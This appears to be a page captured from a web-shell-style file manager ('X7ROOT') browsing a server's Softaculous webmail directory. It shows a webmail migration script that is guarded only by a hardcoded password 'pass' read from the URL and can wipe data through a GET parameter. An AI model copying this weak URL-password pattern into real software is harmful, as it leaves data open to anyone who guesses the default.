X7ROOT File Manager
Current Path:
/var/softaculous/webmail
var
/
softaculous
/
webmail
/
??
..
??
Core.config.json
(4.25 KB)
??
_edit.php
(3.58 KB)
??
_edit.xml
(433 B)
??
_extend.php
(1.51 KB)
??
changelog.txt
(2.59 KB)
??
clone.php
(4.99 KB)
??
config.json
(7.13 KB)
??
db_init.php
(619 B)
??
encryption_key.php
(8 B)
??
fileindex.php
(188 B)
??
images
??
import.php
(3.84 KB)
??
info.xml
(3.88 KB)
??
install.js
(1.29 KB)
??
install.php
(5.88 KB)
??
install.xml
(3.58 KB)
??
md5
(4.04 KB)
??
migrate.php
(1.28 KB)
??
notes.txt
(1.57 KB)
??
php53
??
php56
??
php71
??
php81
??
php82
??
upgrade.php
(5.73 KB)
??
upgrade.xml
(627 B)
??
webmail.sql
(42.15 KB)
??
webmail.zip
(66.86 MB)
Editing: migrate.php
<?php use Symfony\Component\Console\Input\ArrayInput; use Symfony\Component\Console\Output\BufferedOutput; require_once "../system/autoload.php"; \Aurora\System\Api::Init(true); $sPassword = "pass"; set_time_limit(0); if (!(isset($_GET['pass']) && $sPassword !== '' && $sPassword === $_GET['pass'])) { exit("Migration script password is incorrect or not set."); } class P8ToP9Migration { public function Init() { } public function Start() { try { $container = \Aurora\Api::GetContainer(); $container['console']->setAutoExit(false); $output = new BufferedOutput(); $container['console']->find('migrate:eav-to-sql') ->run(new ArrayInput([ '--no-interaction'=>true, '--wipe'=>!!$_GET['wipe'], '--quiet'=>!!$_GET['quiet'], '--migrate-file'=>!!$_GET['migrate-file'], ]), $output); $content = array_filter(explode(PHP_EOL, $output->fetch())); dd($content); } catch (\Exception $oEx) { dd($oEx); \Aurora\System\Api::LogException($oEx); } } } ob_start(); $oMigration = new P8ToP9Migration(); $oMigration->Start(); ob_end_flush(); exit("Done");
Upload File
Create Folder